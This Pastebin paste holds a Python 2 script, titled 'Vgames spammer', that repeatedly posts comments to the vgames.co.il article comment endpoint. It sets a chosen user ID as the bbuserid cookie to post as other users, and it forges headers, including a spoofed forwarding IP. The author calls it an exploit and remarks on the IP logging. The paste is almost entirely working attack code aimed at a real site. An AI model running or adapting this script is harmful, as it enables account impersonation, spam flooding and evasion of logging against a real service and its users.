Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import requests
- import sys
- # Vgames spammer
- # Made by myself
- # Requires requests - http://docs.python-requests.org/en/latest/
- # Syntax: python FILENAME <userid> <objectid> <uname - optional> <comment - optional>
- # + number of times to spam, request will be made upon running the script
- # Very simple but funny exploit. Your IP is being saved and logged, so be smart.
- if len(sys.argv) > 1:
- url = 'http://www.vgames.co.il/ajax_dispatcher.php'
- userid = dict(bbuserid=sys.argv[1])
- uname = 'bot'
- comment = 'botbot'
- if len(sys.argv) > 3:
- uname = sys.argv[3]
- if len(sys.argv) > 4:
- comment = sys.argv[4]
- params = {
- 'do':'Ajax_Article_PostComment',
- 'objectid': sys.argv[2],
- 'uname': uname,
- 'comment': comment
- }
- headers = {
- 'Referer': 'http://www.vgames.co.il/article/' + sys.argv[2] + '.html',
- 'X-Requested-With' : 'XMLHttpRequest',
- 'Content-Type':'application/x-www-form-urlencoded',
- 'Host':'www.vgames.co.il',
- 'Origin':'http://www.vgames.co.il',
- 'X-Http-Forwarded-For': '127.0.0.1'
- }
- times = int(raw_input("Times to spam:"))
- while times != 0:
- r = requests.post(
- url,
- cookies=userid,
- headers=headers,
- data=params
- )
- if 'xml' in r.text:
- print 'success'
- else:
- print 'fail'
- times = times - 1
- else:
- print """Syntax: <userID> <objectID>
- <uname - optional> <comment - optional>"""
Advertisement
Add Comment
Please, Sign In to add comment